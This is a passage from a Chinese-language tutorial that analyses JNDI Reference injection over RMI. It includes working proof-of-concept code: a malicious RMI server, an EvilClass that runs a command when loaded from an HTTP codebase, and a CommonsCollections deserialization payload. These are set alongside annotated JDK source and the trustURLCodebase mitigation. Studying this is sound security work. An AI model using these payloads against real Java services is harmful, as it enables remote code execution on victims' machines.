由于前面 factoryLocation 设置为 http://localhost:8000/ 且我们确保本地 classpath 下没有 EchoFactory 的类文件。因此 JNDI 会尝试从 factoryLocation 设置的 URL 远程加载类。

我们需要 python3 -m http.serverEchoFactory.java 编译生成的 EchoFactory.class 目录下开启 HTTP 服务监听 8000 端口,这样 EchoFactory 类才会被成功加载。


JNDI References 机制的总体流程如下所示:

sequenceDiagram
    autonumber

    %% ── 参与方分组(带背景色) ──
    box rgb(230,242,255) 客户端(进程)
      participant C as Client 应用 💻
      participant NM as NamingManager 🧠
      participant VH as URLClassLoader / Helper 📚
      participant CP as 本地类路径 🧱
    end

    box rgb(232,245,233) 目录服务(远程/本地)
      participant R as RMI / LDAP 服务 📇
      participant LC as 本地 Context(java:...)🔧
    end

    box rgb(255,243,224) 远程代码库(可选)
      participant H as HTTP 服务器 🌐
    end

    box rgb(252,228,236) 工厂实现
      participant OF as EchoFactory(ObjectFactory)🧪
    end

    %% ── 引用获取:远程 & 本地 ──
    alt 远程引用(RMI / LDAP)🌐
      C->>R: lookup("rmi://.../hello" 或 "ldap://.../name") 🔍
      R-->>C: 返回 Reference 🗂️(className/factory/factoryLocation/RefAddr)
    else 本地引用(进程内)🧩
      C->>LC: lookup("java:comp/env/...") 🔍
      LC-->>C: 返回 Reference 🗂️
    end

    %% ── 解析 Reference → 生成最终对象 ──
    C->>NM: getObjectInstance(Reference) ▶️
    NM->>NM: 读取 factoryClassName / factoryLocation / RefAddr 🔎

    alt 指定了 factoryClassName(如 "EchoFactory")🧭
      %% ── 路径 A:本地可加载 ──
      alt 在本地 Classpath 可找到工厂类 ✅
        NM->>VH: loadClass("EchoFactory")(本地)
        VH->>CP: 查找 EchoFactory.class
        CP-->>VH: class bytes 📦
        VH-->>NM: Class EchoFactory
        NM->>OF: newInstance() + getObjectInstance(ref, name, ctx, env)
        OF-->>C: 返回“最终对象” 🎯
      else 本地找不到工厂类 ❓
        %% ── 路径 B:远程 codebase(需开启) ──
        alt trustURLCodebase == true 🔓
          NM->>VH: 以 factoryLocation 构造 URLClassLoader
          opt 目录 vs JAR 判定
            note right of VH: 以 "/" 结尾 → 目录:请求 /EchoFactory.class 📄
非 "/" 且指向 .jar → 请求 /evil.jar 🧴 end VH->>H: HTTP GET(class 或 jar) H-->>VH: 200 OK(class/jar 字节)📦 VH-->>NM: Class EchoFactory NM->>OF: newInstance() + getObjectInstance(...) OF-->>C: 返回“最终对象” 🎯 else trustURLCodebase == false 🔒 或下载失败 🚫 NM-->>C: 解析失败(可能返回原始 Reference 或抛异常)⚠️ end end else 未指定 factoryClassName(走内置/环境工厂)🧩 NM->>NM: 尝试 URLContextFactory 等内置工厂 NM-->>C: 返回对象或失败 🎛️ end

JNDI References 注入

JNDI References 注入就是在 RMI/LDAP 等目录服务里挂一个 Reference。当受害端 lookup() 取到它后,JNDI 会走 NamingManager.getObjectInstance() → 找到 ObjectFactory → 调用 getObjectInstance() 返回最终对象。如果这一步能加载恶意工厂类调用危险的本地工厂类,就能实现命令执行/任意代码执行。

JNDI-RMI

远程类加载(8u121、7u131、6u141 前)

首先服务端的 Reference 设置工厂类为恶意类,并将 Reference 注册到 RMI 注册中心。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import javax.naming.Reference;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import java.rmi.registry.LocateRegistry;

public class RMIServer {
private static final int PORT = 1099;

public static void main(String[] args) throws Exception {
Reference ref = new Reference(
null, // 目标类名(可为 null;JNDI 实际上更看重 factory)
"EvilClass", // 工厂类(必须实现 javax.naming.spi.ObjectFactory)
"http://localhost:8000/" // 工厂位置(现代 JDK 默认不信任远程 URL)
);

// RMI 注册中心不接受普通对象,需用 ReferenceWrapper 适配为 Remote
ReferenceWrapper wrapped = new ReferenceWrapper(ref);

System.out.println("[*] RMI listening on 0.0.0.0:" + PORT);
LocateRegistry.createRegistry(PORT).rebind("exploit", wrapped);
}
}

注意

恶意类最好和普通的工厂类一样实现 javax.naming.spi.ObjectFactory 接口,并重写 getObjectInstance 方法,否则在某些情况下客户端请求得到字节码文件后,会抛出异常。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

public class EvilClass implements ObjectFactory {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (Exception e) {

}
}

@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}

只要能让客户端通过 JNDI 请求我们注册在 RMI 上的 Reference 类,就可能触发远程代码执行(RCE)。这正是 JNDI 注入 的典型利用方式(如 Log4Shell)。

提示

因为 RMI 远程调用只是起到了获取 Reference 对象的作用,真正类加载是 JNDI 的 References 机制,并没有 RMI 的参与。因此这里远程类加载的支持版本比纯 RMI 要高。

1
2
3
4
5
6
7
8
9
10
import javax.naming.Context;
import javax.naming.InitialContext;


public class Client {
public static void main(String[] args) throws Exception {
Context ctx = new InitialContext();
Object obj = ctx.lookup("rmi://localhost:1099/exploit");
}
}

整个攻击过程如下图所示:

sequenceDiagram
    autonumber

    %% ── 分组:客户端 ──
    box rgb(230,242,255) 客户端(进程)
      participant App as Client 应用 💻
      participant IC as InitialContext
      participant GUC as GenericURLContext
      participant RC as RegistryContext
      participant NM as NamingManager 🧠
      participant VH as VersionHelper / URLClassLoader 📚
    end

    %% ── 分组:RMI 注册中心 ──
    box rgb(232,245,233) RMI 注册中心(服务端)
      participant Reg as RMI Registry 📇
      participant RW as ReferenceWrapper 服务端 📦
    end

    %% ── 分组:远程代码库(可选) ──
    box rgb(255,243,224) 代码库服务器
      participant HTTP as HTTP Codebase 🌐
    end

    %% 1) 客户端发起 JNDI 查找 → 取到 Reference
    App->>IC: lookup rmi://localhost:1099/exploit
    IC->>GUC: parse rmi URL
    GUC->>RC: delegate RegistryContext.lookup
    RC->>Reg: Registry.lookup exploit
    Reg-->>RC: ReferenceWrapper_Stub (RemoteReference)
    RC->>RW: getReference via RMI
    RW-->>RC: Reference factory=EvilClass codebase=http://localhost:8000/
    RC->>NM: NamingManager.getObjectInstance

    %% 2) 仅远程 codebase 加载 + 实例化(不画本地分支)
    alt trustURLCodebase true 🔓
      NM->>VH: helper.loadClass EvilClass http://localhost:8000/
      note right of VH: directory GET /EvilClass.class or jar GET /evil.jar
      VH->>HTTP: HTTP GET
      HTTP-->>VH: 200 OK bytes 📦
      VH-->>NM: Class EvilClass
      note right of NM: CLINIT static init may execute code (e.g. Runtime.exec)
      NM->>NM: instantiate factory (constructor runs)
      NM-->>App: factory loaded and instantiated ✅
    else trustURLCodebase false 🔒
      NM-->>App: remote codebase disabled, cannot load ⚠️
    end

调用堆栈如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
at java.lang.Runtime.exec(Runtime.java:347)
at EvilClass.<clinit>(EvilClass.java:4)
at java.lang.Class.forName0(Class.java:-1)
at java.lang.Class.forName(Class.java:348)
at com.sun.naming.internal.VersionHelper12.loadClass(VersionHelper12.java:72)
at com.sun.naming.internal.VersionHelper12.loadClass(VersionHelper12.java:87)
at javax.naming.spi.NamingManager.getObjectFactoryFromReference(NamingManager.java:158)
at javax.naming.spi.NamingManager.getObjectInstance(NamingManager.java:319)
at com.sun.jndi.rmi.registry.RegistryContext.decodeObject(RegistryContext.java:464)
at com.sun.jndi.rmi.registry.RegistryContext.lookup(RegistryContext.java:124)
at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205)
at javax.naming.InitialContext.lookup(InitialContext.java:417)
at org.example.Client.main(Client.java:10)

首先在 RegistryContext#lookup 方法中,会先通过 RegistryImpl_Stublookup 方法去查找 rmi://localhost:1099/exploit 对应的对象,服务端返回 ReferenceWrapper_Stub 对象,接着调用 RegistryContext#decodeObject 去获取信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
/**
* JNDI URL 解析链路(对应堆栈):
* InitialContext.lookup(String)
* → GenericURLContext.lookup(String)
* → RegistryContext.lookup(Name) ← 本方法
*
* 语义:在 RMI 注册表命名空间中解析给定 Name。
* - 先用第 0 个分量到 Registry 取回“原始绑定对象”(可能是 Remote stub、ReferenceWrapper/Reference 等),
* - 再将其“解码”为最终可用的 JNDI 对象(可能触发 ObjectFactory)。
*/
public Object lookup(Name name) throws NamingException {
// ① 空名:按 JNDI 规范返回“当前上下文”
// 此处返回一个指向同一注册表根的 RegistryContext,供后续相对名解析。
if (name.isEmpty()) {
return (new RegistryContext(this));
}

Remote obj; // 将接收从 RMI Registry 取回的“原始对象”(Remote/Reference 等)
try {
// ② RMI Registry 是扁平命名空间:仅使用名称的第 0 个分量作为绑定名
// 等价调用:RegistryImpl_Stub.lookup(name.get(0))
// 其中 registry 是 Registry 接口的远程存根:
// RegistryImpl_Stub[UnicastRef(liveRef→endpoint=host:1099, objID=REGISTRY_ID)]
obj = registry.lookup(name.get(0));

} catch (NotBoundException e) {
// ③ 未绑定该名字(RMI 语义)→ 转换为 JNDI 的 NameNotFoundException
throw (new NameNotFoundException(name.get(0)));

} catch (RemoteException e) {
// ④ 远程通信/序列化等异常:包装成 NamingException 抛出(保持 JNDI 异常语义)
throw (NamingException) wrapRemoteException(e).fillInStackTrace();
}

// ⑤ 解码原始对象为最终 JNDI 对象:
// - 若为 Reference / Referenceable:
// 调用 NamingManager.getObjectInstance(ref, namePrefix, this, env)
// → 可能触发 ObjectFactory#getObjectInstance(...)
// → 若本地 classpath 有工厂类则本地加载;
// 否则在 trustURLCodebase=true 时按 factoryLocation 远程加载(新 JDK 默认禁用)。
// - 若为 Remote 存根:可能直接返回或做适配(实现相关)。
//
// 这里传入 name.getPrefix(1)(已解析的前缀,仅第 0 分量),
// 作为“对象名”上下文,供解码/工厂参考。
return (decodeObject(obj, name.getPrefix(1)));
}

RegistryContext#decodeObject 方法,如果我们获取的远程对象是 RemoteReference 的实现类,则会调用该远程对象的 getReference 方法来获取真正的对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
/**
* 将从 RMI Registry 取回的“原始远程对象”解码为最终可返回给调用者的 JNDI 对象。
*
* 解码流程:
* 1) 若 r 是 RemoteReference(注意:这是 JNDI 自己的 Remote 接口,不是 java.rmi.server.RemoteRef),
* 则先调用 getReference() 解包出 javax.naming.Reference;
* 这对应服务端用 ReferenceWrapper 绑定的情况(Stub 实现了 RemoteReference)。
* 2) 然后调用 NamingManager.getObjectInstance(...):
* - 若 obj 是 Reference/Referenceable:按其 factory/factoryLocation 与 RefAddr 参数,
* 触发 ObjectFactory#getObjectInstance(...) 还原最终对象
* (本地 classpath 优先;仅在 trustURLCodebase=true 时才会尝试远程 codebase)。
* - 其他类型:按 JNDI 规则原样返回或经由已注册的工厂做转换。
*
* @param name 该对象相对于当前上下文的名称(通常是已解析前缀,用于工厂/上下文参考)。
*/
private Object decodeObject(Remote r, Name name) throws NamingException {
try {
// ① 如果是 RemoteReference(例如 ReferenceWrapper 的 stub),
// 先抽取出真正的 javax.naming.Reference;否则就直接使用远程返回的对象。
Object obj = (r instanceof RemoteReference)
? ((RemoteReference) r).getReference()
: (Object) r;

// ② 交给 JNDI 的工厂总管做最终实例化/转换:
// 可能调用到 ObjectFactory#getObjectInstance(...),
// 返回的就是 lookup(...) 的最终结果。
return NamingManager.getObjectInstance(obj, name, this, environment);

} catch (NamingException e) {
// ③ 已是 JNDI 语义的异常:直接上抛,保持原语义/栈信息。
throw e;

} catch (RemoteException e) {
// ④ 远程通信/反序列化等底层异常:包装为 NamingException 再抛出,统一成 JNDI 语义。
throw (NamingException) wrapRemoteException(e).fillInStackTrace();

} catch (Exception e) {
// ⑤ 其他运行时/受检异常:转换为 NamingException,并设置根因,避免信息丢失。
NamingException ne = new NamingException();
ne.setRootCause(e);
throw ne;
}
}

由于我们实际获取的远程对象 ReferenceWrapper_Stub 是代理类,因此实际会调用到它的 invoke 方法发起一次 RMI 远程调用来调用注册中心的 RemoteReference#getReference 方法。

提示

ReferenceWrapper_Stub 是由 GenerateClasses.gmk 规则在 构建期rmic 生成,因此我们在 OpenJDK 源码中看不到这个类的实现。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
/**
* RMI 静态 Stub(rmic -v1.2 风格)。
* 对应的远程接口:{@link com.sun.jndi.rmi.registry.RemoteReference}
*
* 作用:把本地对 getReference() 的调用,经由 RemoteRef.invoke(...) 编码后
* 发送到远端的 ReferenceWrapper 实例上执行,并把返回值反序列化回来。
*/
public final class ReferenceWrapper_Stub extends RemoteStub
implements RemoteReference, Remote {

private static final long serialVersionUID = 2L;

/**
* RMI 方法哈希(operation hash)。
* 计算方式遵循 RMI 规范:对方法签名字符串做 SHA-1,取前 8 字节为 long。
* 这里对应的方法是 RemoteReference#getReference()。
*/
private static final long HASH_getReference = 3529874867989176284L;

/** 反射缓存:指向 RemoteReference.getReference() 方法对象 */
private static final Method M_getReference;

static {
try {
M_getReference = RemoteReference.class.getMethod("getReference");
} catch (NoSuchMethodException e) {
// rmic 生成的 stub 在初始化失败时会抛出 NoSuchMethodError
throw new NoSuchMethodError("stub class initialization failed: getReference not found");
}
}

/**
* 由 RMI 运行时在接收端或连接端创建 Stub 时注入实际的远程引用实现(UnicastRef)。
*/
public ReferenceWrapper_Stub(RemoteRef ref) {
super(ref);
}

/**
* 远程调用入口:将调用转发给远端的 ReferenceWrapper 实例。
*
* @return 远端返回的 javax.naming.Reference
* @throws RemoteException 网络/远程调用异常
* @throws NamingException 远端实现声明会抛出的受检异常
*/
@Override
public Reference getReference() throws RemoteException, NamingException {
try {
Object ret = super.ref.invoke(
this, // stub 自身(用于填充调用上下文)
M_getReference, // 目标方法(用于序列化方法签名)
null, // 无参数
HASH_getReference // 方法哈希(operation number)
);
return (Reference) ret;
} catch (RuntimeException e) {
// 运行时异常直接透传(与 rmic 生成代码一致)
throw e;
} catch (RemoteException e) {
// 远程异常直接透传
throw e;
} catch (NamingException e) {
// 接口声明的受检异常直接透传
throw e;
} catch (Exception e) {
// 其他未声明的受检异常,包装成 UnexpectedException
throw new UnexpectedException("undeclared checked exception", e);
}
}
}

而前面我们使用 ReferenceWrapper 包装了一个 Reference 对象,因此实际上这次远程对象获取的是我们定义的 Reference 对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
/**
* ReferenceWrapper 是一个用于“远程暴露” JNDI Reference 的包装类。
* <p>
* 它在服务端进程中持有一个 {@link javax.naming.Reference}(wrappee),
* 通过 RMI 将该引用以远程对象的方式提供给客户端:
* 客户端拿到的是本类的 RMI stub,随后远程调用 {@link #getReference()},
* 把服务端持有的 Reference 序列化回客户端,客户端再交给
* NamingManager.getObjectInstance(...) 去还原为真正对象。
*
* 典型调用链(客户端):
* InitialContext.lookup("rmi://...") → RegistryContext.decodeObject(...)
* → 发现返回的是 RemoteReference(即本类的 stub)
* → 远程调用 getReference() 取出 Reference
* → NamingManager.getObjectInstance(Reference, ...) → ObjectFactory
*
* 注意:本类属于 “jdk.naming.rmi” 模块,配套有静态生成的 stub 类
* ReferenceWrapper_Stub(历史上由 rmic 生成,或在新版本以预生成源码形式存在)。
*
* @author Scott Seligman
*/
public class ReferenceWrapper
extends UnicastRemoteObject // 继承后会在构造时 export 为可远程访问的对象
implements RemoteReference // 远程接口:声明了 getReference()
{
/** 被包装的 JNDI 引用;真正要返回给客户端(经序列化传输)的对象 */
protected Reference wrappee;

/**
* 构造器:
* - 由于继承了 UnicastRemoteObject,构造时会执行 export(导出远程对象、建立 RemoteRef),
* 因此可能抛出 RemoteException。
* - NamingException 出现在签名中是为了与 JNDI 语义/接口族保持一致(某些版本接口声明如此),
* 本实现体内通常不会主动抛出。
*/
public ReferenceWrapper(Reference wrappee)
throws NamingException, RemoteException
{
// super() 隐式调用:完成 RMI 导出(监听端口/创建远程引用等)
this.wrappee = wrappee; // 保存服务端持有的 Reference
}

/**
* 远程方法:把服务端持有的 Reference 返回给调用方(经 RMI 序列化传输)。
* 客户端随后会调用 NamingManager.getObjectInstance(...) 对该 Reference 进行“工厂还原”。
*
* @return 服务端包装的 javax.naming.Reference
* @throws java.rmi.RemoteException 网络/远程调用错误
* @throws javax.naming.NamingException (接口可能声明;实现通常不抛)
*/
public Reference getReference() throws RemoteException {
return wrappee;
}

/** RMI 序列化版本号:确保不同版本间的远程调用/反序列化兼容 */
private static final long serialVersionUID = 6078186197417641456L;
}

之后 decodeObject 会调用 NamingManager#getObjectInstance 来根据 Reference 解析出实际的对象。

1
2
3
4
Object obj = (r instanceof RemoteReference)
? ((RemoteReference)r).getReference()
: (Object)r;
return NamingManager.getObjectInstance(obj, name, this, environment);

对于 ReferenceNamingManager#getObjectInstance 会调用 NamingManager#getObjectFactoryFromReference 查找我们在 Reference 中通过 factoryLocationfactory 指定的工厂类。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// 尽量把 refInfo 规范化为 Reference:
// - 如果本身就是 Reference:直接使用;
// - 如果实现了 Referenceable:通过 getReference() 取出其 Reference 表示。
Reference ref = null;
if (refInfo instanceof Reference) {
ref = (Reference) refInfo;
} else if (refInfo instanceof Referenceable) {
ref = ((Referenceable)(refInfo)).getReference();
}

Object answer;

if (ref != null) {
// 从 Reference 中取“工厂类名”(可能为 null)
String f = ref.getFactoryClassName();
if (f != null) {
// 情况①:Reference 显式指定了工厂类名 → “独占使用”该工厂
// 语义:只尝试这个工厂来创建对象;如果失败,不再继续走 URL 工厂
// 或 Context.OBJECT_FACTORIES 等其他路径。
factory = getObjectFactoryFromReference(ref, f);
if (factory != null) {
// 成功加载到工厂:把 Reference 与 name/nameCtx/environment 传给工厂,
// 由工厂的 getObjectInstance(...) 生成最终对象并返回。
return factory.getObjectInstance(ref, name, nameCtx, environment);
}
// 无法加载工厂(例如:类不在本地 classpath,且 Reference 未提供可用 codebase,
// 或现代 JDK 默认禁用 trustURLCodebase 导致远程加载被拒)。
// 按规范:直接返回原始 refInfo,不再尝试其他策略。
return refInfo;
}

// [...]
}

getObjectFactoryFromReference 首先会尝试从本地 classpath 中加载工厂类,如果加载失败则会将 ReferencefactoryLocation 作为 codebase 从远程加载工厂类。如果成功加载则会将工厂类实例化并返回

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
/**
* 根据 Reference 中记录的“工厂类名 + 可选的 codebase(工厂位置)”来加载工厂类,
* 并返回该工厂类的实例(必须实现 ObjectFactory,且具备 public 无参构造)。
*
* 加载顺序(失败则回退):
* 1) 先用“当前/默认”的类加载器尝试加载 factoryName;
* 2) 若不在本地 classpath,再读取 ref.getFactoryClassLocation()(codebase),
* 通过该位置尝试加载(例如 http/file/ftp 等);
* —— 若成功则返回实例;若仍失败则返回 null。
*
* 说明与注意:
* - 本方法只吞掉 ClassNotFoundException(让后续路径继续尝试),
* 其它异常(IllegalAccessException、InstantiationException、MalformedURLException)
* 直接抛给调用方。
* - 当使用 codebase 远程加载时,是否允许下载由运行时策略决定
* (如 JDK 8u191+ 默认禁用 trustURLCodebase),禁用时这里可能始终加载失败。
* - 返回前会做强制类型转换为 ObjectFactory;若工厂类未实现该接口,将抛出
* ClassCastException(运行时异常,未在签名声明)。
* - 这里使用 Class#newInstance()(要求 public 无参构造),在新版本 JDK 已被标记过时;
* 现代写法应为 clazz.getDeclaredConstructor().newInstance()。
*
* @param ref 非空;包含工厂类名与可选 codebase 的 Reference
* @param factoryName 非空;工厂类的完全限定名(FQCN)
* @return 成功则返回工厂实例;否则返回 null(未能加载工厂)
* @throws IllegalAccessException 无权访问无参构造时抛出
* @throws InstantiationException 抽象类/接口或构造失败时抛出
* @throws MalformedURLException codebase 字符串不是合法 URL 时抛出
*/
static ObjectFactory getObjectFactoryFromReference(
Reference ref, String factoryName)
throws IllegalAccessException, InstantiationException, MalformedURLException {

Class<?> clas = null;

// 1) 优先使用当前(上下文)类加载器加载工厂类
try {
clas = helper.loadClass(factoryName); // VersionHelper 抽象了不同 JDK 的装载细节
} catch (ClassNotFoundException e) {
// 忽略,转而尝试 codebase 路径
// e.printStackTrace();
}
// 其余异常(如安全限制)不在此处吞掉,直接向上抛出

// 2) 若本地未找到且 Reference 指定了工厂位置(codebase),
// 则基于该 codebase 再次尝试加载
String codebase;
if (clas == null && (codebase = ref.getFactoryClassLocation()) != null) {
try {
clas = helper.loadClass(factoryName, codebase);
} catch (ClassNotFoundException e) {
// 仍找不到则保持 clas=null,稍后返回 null
}
}

// 3) 成功加载则实例化并返回;否则返回 null
return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}

NamingManager 中加载类使用的类加载器 helper 是通过 VersionHelper#getVersionHelper 函数设置的。

1
static final VersionHelper helper = VersionHelper.getVersionHelper();

getVersionHelper 函数返回的是一个 VersionHelper12 对象。

1
2
3
4
5
6
7
static {
helper = new VersionHelper12();
}

public static VersionHelper getVersionHelper() {
return helper;
}

VersionHelperVersionHelper12 属于 JNDI 内部工具类(包名通常是 com.sun.naming.internal),用于屏蔽不同 JDK 版本的差异,尤其是类加载相关(TCCL、URLClassLoader、codebase 解析等)。

VersionHelper12 对象的 loadClass 方法实际上会通过 URLClassLoader 远程加载加载类。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
/**
* 从指定 codebase(由空格分隔的一组 URL)中加载给定类名的类。
*
* @param className 非空,完全限定类名(FQCN)
* @param codebase 非空,按空格分隔的多个 URL 字符串(目录以 / 结尾,或指向具体 .jar)
* @throws ClassNotFoundException 找不到类时抛出
* @throws MalformedURLException codebase 中存在非法 URL 时抛出
*/
public Class<?> loadClass(String className, String codebase)
throws ClassNotFoundException, MalformedURLException {

// 1) 取当前线程的上下文类加载器(TCCL)作为父加载器
// 在应用服务器/容器场景,TCCL 决定了资源可见性与委派链路。
ClassLoader parent = getContextClassLoader();

// 2) 基于 codebase 构造一个 URLClassLoader(父加载器为 TCCL)
// getUrlArray(codebase) 会把以空格分隔的 URL 串解析成 URL[]。
// 目录 codebase 需以 "/" 结尾(方便拼接 .class 路径);
// 若是 JAR codebase,则应指向具体 .jar(也可用 jar:...!/ 形式)。
ClassLoader cl = URLClassLoader.newInstance(getUrlArray(codebase), parent);

// 3) 用上面创建的 URLClassLoader 去加载目标类(触发网络/文件系统查找)
return loadClass(className, cl);
}

/**
* 包可见的内部工具方法:使用给定的 ClassLoader 去加载类。
* 该方法与 TCCL 配合使用,不对外暴露(避免错误使用破坏类加载语义)。
*
* @param className 非空,FQCN
* @param cl 目标类加载器(可能是 URLClassLoader,也可能是 TCCL)
* @throws ClassNotFoundException 找不到类时抛出
*/
Class<?> loadClass(String className, ClassLoader cl) throws ClassNotFoundException {
// Class.forName(name, initialize=true, loader)
// - initialize=true:加载后立即执行类初始化(<clinit>)
// - loader:指定从哪个加载器的命名空间解析,遵循父委派
Class<?> cls = Class.forName(className, true, cl);
return cls;
}

JDK 8u121、7u131、6u141 开始增加了 com.sun.jndi.rmi.object.trustURLCodebase 选项,默认为 false,禁止 RMI 和 CORBA 协议使用远程 codebase 的选项。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/**
* 决定是否允许从任意 URL 的 codebase 加载类(针对 COSNaming 提供者)。
*/
public static final boolean trustURLCodebase;

static {
// 通过系统属性控制:是否允许从任意 URL codebase 加载类
// 属性名:com.sun.jndi.cosnaming.object.trustURLCodebase
// 默认值为 "false"
PrivilegedAction<String> act = () -> System.getProperty(
"com.sun.jndi.cosnaming.object.trustURLCodebase", "false");

// 在特权块中读取系统属性(即使调用方受限,只要库自身有权限也能读取)
String trust = AccessController.doPrivileged(act);

// 仅当属性值等于 "true"(忽略大小写)时才开启
trustURLCodebase = "true".equalsIgnoreCase(trust);
}

新版本在 decodeObject 添加了 trustURLCodebase 判断:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// 如果 r 是 RemoteReference(RMI 远程引用封装),先取出其内部真正的引用对象;
// 否则就把 r 当作普通对象用。
Object obj = (r instanceof RemoteReference)
? ((RemoteReference) r).getReference()
: (Object) r;

/*
* 只有当系统属性 com.sun.jndi.rmi.object.trustURLCodebase 被设置为 "true" 时,
* 才允许从任意 URL codebase(工厂类位置)加载类。
* —— 默认不信任远程 codebase(现代 JDK 的安全基线)。
*/

// 优先把 obj 转成 Reference(延迟还原说明书)
Reference ref = null;
if (obj instanceof Reference) {
// 直接就是 Reference:说明它描述了如何用 ObjectFactory 还原出目标对象
ref = (Reference) obj;
} else if (obj instanceof Referenceable) {
// 如果对象实现了 Referenceable,则通过 getReference() 取到 Reference
// (很多可绑定到 JNDI 的资源类型会这么实现)
ref = ((Referenceable) obj).getReference();
}

// 如果存在 Reference,且其指定了 factoryLocation(通常是 URL),
// 但当前未开启 trustURLCodebase,则拒绝(抛出配置异常)
// —— 这一步拦截“从远程地址加载工厂类”的风险点。
if (ref != null && ref.getFactoryClassLocation() != null &&
!trustURLCodebase) {
throw new ConfigurationException(
"The object factory is untrusted. Set the system property" +
" 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.");
}

// 把对象(可能是原始对象,也可能是 Reference)交给 NamingManager 做最终还原:
// 1) 若是 Reference:按其工厂类及 RefAddr 参数调用 ObjectFactory 生成目标对象
// 2) 否则:尝试已注册的 ObjectFactory 处理,或直接返回对象本身
return NamingManager.getObjectInstance(obj, name, this, environment);

远程加载工厂类会有如下报错,因此 RMI 和 CORBA 在以上的 JDK 版本上已经无法触发该漏洞。

1
2
3
4
5
6
Exception in thread "main" javax.naming.ConfigurationException: The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.
at com.sun.jndi.rmi.registry.RegistryContext.decodeObject(RegistryContext.java:495)
at com.sun.jndi.rmi.registry.RegistryContext.lookup(RegistryContext.java:138)
at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205)
at javax.naming.InitialContext.lookup(InitialContext.java:417)
at org.example.Client.main(Client.java:10)

反序列化(无限制)

这个方法其实本质上就是 RMI 中反序列化攻击客户端的情况。

sequenceDiagram
    autonumber

    %% ── 客户端侧 ──
    box rgb(230,242,255) 客户端(进程)
      participant App as Client 应用 💻
      participant IC as InitialContext
      participant GUC as GenericURLContext
      participant RC as RegistryContext
      participant RegStub as RegistryImpl_Stub(客户端存根)
    end

    %% ── 服务端侧(RMI 注册中心) ──
    box rgb(232,245,233) RMI 注册中心(服务端)
      participant Skel as RegistryImpl_Skel / Skeleton
      participant Impl as RegistryImpl(bindings)
    end

    %% 1) JNDI 解析到 RMI Registry
    App->>IC: lookup("rmi://localhost:1099/exploit") 🔍
    IC->>GUC: 解析 rmi: URL
    GUC->>RC: RegistryContext.lookup(Name)

    %% 2) 客户端发起 RMI 调用:RegistryImpl_Stub#lookup
    RC->>RegStub: registry.lookup("exploit")(JRMP)📤
    RegStub->>Skel: 远程调用 dispatch(op=lookup) 🌐
    Skel->>Skel: 读取入参 name="exploit"(ObjectInput)

    %% 3) 服务端查 bindings 并“原样序列化返回”
    Skel->>Impl: server.lookup("exploit")
    Impl->>Impl: obj = bindings.get("exploit")
    Impl-->>Skel: 返回 obj
    note right of Skel: 直接 writeObject(obj) 回传(无任何过滤)
    Skel-->>RegStub: 返回字节流(包含 obj 的序列化)📦

    %% 4) 客户端反序列化返回值 —— 触发利用点
    RegStub->>RegStub: ObjectInputStream.readObject() (恶意代码已执行)⚠️
    note right of RegStub: 💥 反序列化触发链(示例):
HashMap.readObject → TiedMapEntry.hashCode → LazyMap.get →
ChainedTransformer → InvokerTransformer → Method.invoke → Runtime.exec

将服务器端改成下面这种实现,即我们在注册中心添加的是反序列化对象,而不是 ReferenceWrapper 包裹的 Reference 类。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.util.HashMap;
import java.util.Map;

public class RMIServer {
public static void main(String[] args) throws Exception {
HashMap hashMap = new HashMap<>();
hashMap.put("sky123", CommonsCollections6.getObject("calc"));
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, hashMap);
Remote remoteObject = (Remote) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Remote.class}, handler);

LocateRegistry.createRegistry(1099).rebind("exploit", remoteObject);
Thread.currentThread().join();
}
}

调用栈如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
